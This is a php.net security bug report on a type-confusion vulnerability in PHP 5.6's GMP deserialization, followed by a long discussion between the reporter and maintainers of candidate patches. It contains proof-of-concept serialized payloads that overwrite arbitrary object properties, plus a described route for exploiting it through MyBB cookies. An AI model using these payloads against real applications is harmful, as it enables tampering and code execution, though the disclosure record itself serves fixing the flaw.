php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70513 GMP Deserialization Type Confusion Vulnerability
Submitted: 2015-09-16 16:39 UTC Modified: 2017-01-16 13:29 UTC
From: taoguangchen at icloud dot com Assigned: nikic
Status: Closed Package: *General Issues
PHP Version: 5.6.13 OS: *
Private report: No CVE-ID:
 [2015-09-16 16:39 UTC] taoguangchen at icloud dot com
Description:
------------
gmp.c
```
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
	...
	ALLOC_INIT_ZVAL(zv_ptr);
	if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
		|| Z_TYPE_P(zv_ptr) != IS_ARRAY
	) {
		zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
		goto exit;
	}

	if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
		zend_hash_copy(
			zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
			(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
		);
	}
```

zend_object_handlers.c
```
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
	zend_object *zobj;
	zobj = Z_OBJ_P(object);
	if (!zobj->properties) {
		rebuild_object_properties(zobj);
	}
	return zobj->properties;
}
```

it has been demonstrated many times before that __wakeup() or other magic methods leads ZVAL is changed from the memory. so an attacker can change **object to an integer-type ZVAL or bool-type ZVAL, then will be able to access any objects that stored in objects store via Z_OBJ_P. this means an attacker will be able to update any properties in object via zend_hash_copy(). it is possible to lead to various problems and including security issues.

PoC:
```
class obj
{
	var $ryat;
	
	function __wakeup()
	{
		$this->ryat = 1;
	}
}

$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;

$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
var_dump($obj);
```

Expected result:
```
object(stdClass)#1 (2) {
  ["aa"]=>
  int(1)
  ["bb"]=>
  int(2)
}
```

Actual result:
```
object(stdClass)#1 (3) {
  ["aa"]=>
  string(2) "hi"
  ["bb"]=>
  string(2) "hi"
  [0]=>
  object(obj)#3 (1) {
    ["ryat"]=>
    &int(1)
  }
}
```

Fix:
```
	ALLOC_INIT_ZVAL(zv_ptr);
	if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
-		|| Z_TYPE_P(zv_ptr) != IS_ARRAY
+		|| Z_TYPE_P(zv_ptr) != IS_ARRAY || Z_TYPE_P(*object) != IS_OBJECT
	) {
		zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
		goto exit;
	}
```


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-09-21 12:03 UTC] taoguangchen at icloud dot com
i) how to exploited this bug in real world?
on php 5.6 <= 5.6.11, DateInterval's __wakeup() use convert_to_long() handles and reassignments it's properties (it has been demonstrated many times), so an attacker can convert GMP object to an any integer-type ZVAL via GMP's gmp_cast_object():

```
static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */
{
    mpz_ptr gmpnum;
    switch (type) {
    ...
    case IS_LONG:
        gmpnum = GET_GMP_FROM_ZVAL(readobj);
        INIT_PZVAL(writeobj);
        ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
        return SUCCESS;
```

PoC:
```
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));
```
of course, a crafted __wakeup() can also be exploited, ex:

```
function __wakeup()
{
    $this->ryat = (int)$this->ryat;
}
```

ii) can be exploited this bug in real app?

on mybb <= 1.8.3:

```
	if(isset($mybb->cookies['mybb']['forumread']))
	{
		$forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);
	}
```

mybb allow deserialization cookie datas via unserialize(), so an attacker will be able to update $mybb or other object's any properties, and it is possible to lead to security issues easily, ex: xss, sql injection, remote code execution and etc. :-)

P.S. i had reported this vulnerability and it had been fixed in mybb >= 1.8.4.
 [2015-09-28 23:12 UTC] stas@php.net
Seems to be the same issue as https://bugs.php.net/bug.php?id=69425
 [2015-09-28 23:37 UTC] taoguangchen at icloud dot com
yes, this bug has been mentioned in bug#69425 stream, but as your said, it's hard to track when one bug stream contains many issues. so i opened a separate bug stream for this bug, and show an exploitation way of the bug.
 [2015-09-29 10:49 UTC] taoguangchen at icloud dot com
update better fix for this bug:

diff --git a/php-5.6.13/gmp.c b/php-5.6.13-fixed/gmp.c
index c7cdef7..e698d04 100644
--- a/php-5.6.13/gmp.c
+++ b/php-5.6.13-fixed/gmp.c
@@ -631,11 +631,15 @@ static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned c
 	mpz_ptr gmpnum;
 	const unsigned char *p, *max;
 	zval *zv_ptr;
+	zval tmp;
 	int retval = FAILURE;
 	php_unserialize_data_t unserialize_data = (php_unserialize_data_t) data;
 
 	PHP_VAR_UNSERIALIZE_INIT(unserialize_data);
 	gmp_create_ex(*object, &gmpnum TSRMLS_CC);
+	
+	tmp = **object;
+	zval_copy_ctor(&tmp);
 
 	p = buf;
 	max = buf + buf_len;
@@ -660,11 +664,13 @@ static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned c
 
 	if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
 		zend_hash_copy(
-			zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
+			zend_std_get_properties(&tmp TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
 			(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
 		);
 	}
 
+	zval_dtor(&tmp);
+
 	retval = SUCCESS;
 exit:
 	var_push_dtor_no_addref(&unserialize_data, &zv_ptr);
 [2015-12-29 06:42 UTC] stas@php.net
I'm not sure I understand the proposed patch. Could you explain a bit what exactly it is doing and why?
 [2015-12-29 07:03 UTC] taoguangchen at icloud dot com
The second deserialization may break the GMP object, then zend_std_get_properties() will get unexpected rescult. So we need to ensure that zend_std_get_properties() access to the original GMP object.
 [2015-12-29 07:33 UTC] stas@php.net
I'm not sure I am happy with it as it means every class that does unserialize() method has to copy the object. I have another idea:

--- a/ext/standard/var_unserializer.re
+++ b/ext/standard/var_unserializer.re
@@ -502,6 +502,9 @@ PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
                var_push_dtor_no_addref(var_hash, rval);
        }
        *rval = *rval_ref;
+       if (Z_REFCOUNT_PP(rval) > 1) {
+               SEPARATE_ZVAL_IF_NOT_REF(rval);
+       }
        Z_ADDREF_PP(rval);
        Z_SET_ISREF_PP(rval);

I wonder if this shouldn't fix the issue. Though I need to check really carefully if it doesn't break the semantics.
 [2015-12-29 07:48 UTC] stas@php.net
Ignore the last comment, that solution doesn't work. Will look further.
 [2016-07-02 00:51 UTC] taoguangchen at icloud dot com
I think this patch can fix this bug:
```
	var_push_dtor_no_addref(var_hash, rval);
	}
	*rval = *rval_ref;
+	if (Z_REFCOUNT_PP(rval_ref) == 1) {
+		Z_ADDREF_PP(rval_ref);
+	}
+	if (Z_REFCOUNT_PP(rval) > 1) {
+		SEPARATE_ZVAL_IF_NOT_REF(rval);
+	}
	Z_ADDREF_PP(rval);
	Z_SET_ISREF_PP(rval);
```
 [2016-07-02 01:04 UTC] taoguangchen at icloud dot com
update fix, and also fix bug#69425:
```
	var_push_dtor_no_addref(var_hash, rval);
	}
	*rval = *rval_ref;
+	Z_ADDREF_PP(rval_ref);
+	if (Z_REFCOUNT_PP(rval) > 1) {
+		SEPARATE_ZVAL_IF_NOT_REF(rval);
+	}
	Z_ADDREF_PP(rval);
	Z_SET_ISREF_PP(rval);
```
 [2016-09-26 05:56 UTC] stas@php.net
Unfortunately, this leaks memory. 
E.g. on the example from the ticket it produces:

[Sun Sep 25 22:54:28 2016]  Script:  '/Users/smalyshev/php-5.6/mamp/70513.php'
ext/standard/var_unserializer.re(517) :  Freeing 0x106159AB8 (32 bytes), script=/Users/smalyshev/php-5.6/mamp/70513.php

Line 517 is exactly this:
        SEPARATE_ZVAL_IF_NOT_REF(rval);

Running serializer test suite on it fails 16 tests. So it can't be accepted as a fix without additional modification.
 [2016-09-29 14:33 UTC] taoguangchen at icloud dot com
everything has two sides. if you don't want to break these tests, i think you have to check in process_nested_data, and check in every customized serializing function.
 [2016-09-29 21:42 UTC] stas@php.net
The problem is not breaking tests. The problem is leaking memory. Tests are just detecting memory leaks.
 [2016-09-29 21:43 UTC] stas@php.net
And the problem is it leaks not only in specially constructed exploit code - it seems to leak in legitimate use code. Which means anybody using serialization will have memory leaks. That is not acceptable.
 [2016-09-29 22:06 UTC] taoguangchen at icloud dot com
this patch can fix all these memory leaks, but still breaks some tests.

```
+	Z_ADDREF_PP(rval_ref);
+	if (Z_REFCOUNT_PP(rval) > 1) {
+		SEPARATE_ZVAL_IF_NOT_REF(rval);
+		var_push_dtor_no_addref(var_hash, rval);
+	}
```
 [2016-09-29 22:20 UTC] taoguangchen at icloud dot com
this patch can also fix bug#69425, bug#73052 and bug#72731
 [2016-10-05 05:13 UTC] stas@php.net
This change seems to break 12 tests even in non-debug mode, which suggests it breaks things. 

I don't think also separate is a good idea - won't it break the actual reference functionality? 

I don't think we can put in the change that breaks so much legitimate functionality.
 [2016-10-05 05:19 UTC] stas@php.net
Simple example, after this patch:

<?php

$a = ['test'];
$a[1] =& $a[0];
var_dump($a);
$s = serialize($a);
var_dump($s);
$b = unserialize($s);
var_dump($b);

Before serialize, array elements are referenced, after they are not, So all this patch seems to do is to break references when unserializing. This of course may fix the issues related to reference functionality, by virtue of disabling it, but that's not the fix we can use, unfortunately.
 [2016-10-05 09:50 UTC] taoguangchen at icloud dot com
another patch, separate if call to __wakeup() with reference, don't breaks tests and reference functionality.

···
diff --git a/ext/standard/var_unserializer.c b/ext/standard/var_unserializer.c
index e7eac2d..ce2f4fc 100644
--- a/ext/standard/var_unserializer.c
+++ b/ext/standard/var_unserializer.c
@@ -447,6 +447,14 @@ static inline int object_common2(UNSERIALIZE_PARAMETER, long elements)
 
        if (Z_OBJCE_PP(rval) != PHP_IC_ENTRY &&
                zend_hash_exists(&Z_OBJCE_PP(rval)->function_table, "__wakeup", sizeof("__wakeup"))) {
+               zval **data;
+               HashPosition ptr;
+               HashTable *ht = Z_OBJPROP_PP(rval);
+               for (zend_hash_internal_pointer_reset_ex(ht, &ptr); zend_hash_get_current_data_ex(ht, (void **) &data, &ptr) == SUCCESS; zend_hash_move_forward_ex(ht, &ptr)) {
+                       if (Z_ISREF_PP(data)) {
+                               SEPARATE_ZVAL(data);
+                       }
+               }
                INIT_PZVAL(&fname);
                ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1, 0);
                BG(serialize_lock)++;
···
 [2016-10-11 04:52 UTC] stas@php.net
Unfortunately, this one does not work either, it just breaks references for all objects that use __wakeup. Looks like tests miss this one. Consider this script:

?php

class foo {
public function __wakeup() {}
}

$a = new foo();
$a->x = "123";
$a->y =& $a->x;
var_dump($a);
$s = serialize($a);
var_dump($s);
$b = unserialize($s);
var_dump($b);

After your last patch, the references are broken upon unserialize.
 [2016-10-11 05:58 UTC] taoguangchen at icloud dot com
I know that, but i don't think call to __wakeup with references in deserialization is a normal usage, looks rather unlikely occur in production applications.
 [2016-10-11 11:05 UTC] taoguangchen at icloud dot com
The latest patch fix all these bugs and don't breaks fully reference functionality:
```
diff --git a/ext/standard/var_unserializer.c b/ext/standard/var_unserializer.c
index e7eac2d..13e8bd0 100644
--- a/ext/standard/var_unserializer.c
+++ b/ext/standard/var_unserializer.c
@@ -447,6 +447,15 @@ static inline int object_common2(UNSERIALIZE_PARAMETER, long elements)
 
        if (Z_OBJCE_PP(rval) != PHP_IC_ENTRY &&
                zend_hash_exists(&Z_OBJCE_PP(rval)->function_table, "__wakeup", sizeof("__wakeup"))) {
+               zval **data;
+               HashPosition ptr;
+               HashTable *ht = Z_OBJPROP_PP(rval);
+               for (zend_hash_internal_pointer_reset_ex(ht, &ptr); zend_hash_get_current_data_ex(ht, (void **) &data, &ptr) == SUCCESS; zend_hash_move_forward_ex(ht, &ptr)) {
+                       if (Z_ISREF_PP(data)) {
+                               SEPARATE_ZVAL(data);
+                               Z_SET_ISREF_PP(data);
+                       }
+               }
                INIT_PZVAL(&fname);
                ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1, 0);
                BG(serialize_lock)++;
```
 [2016-10-11 16:41 UTC] taoguangchen at icloud dot com
another fix way, deferring calls to __wakeup, the patch at:
https://gist.github.com/chtg/73128d81a266dabeb357d71418cf5470
 [2017-01-16 13:29 UTC] nikic@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: nikic
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Tue Feb 21 18:01:40 2017 UTC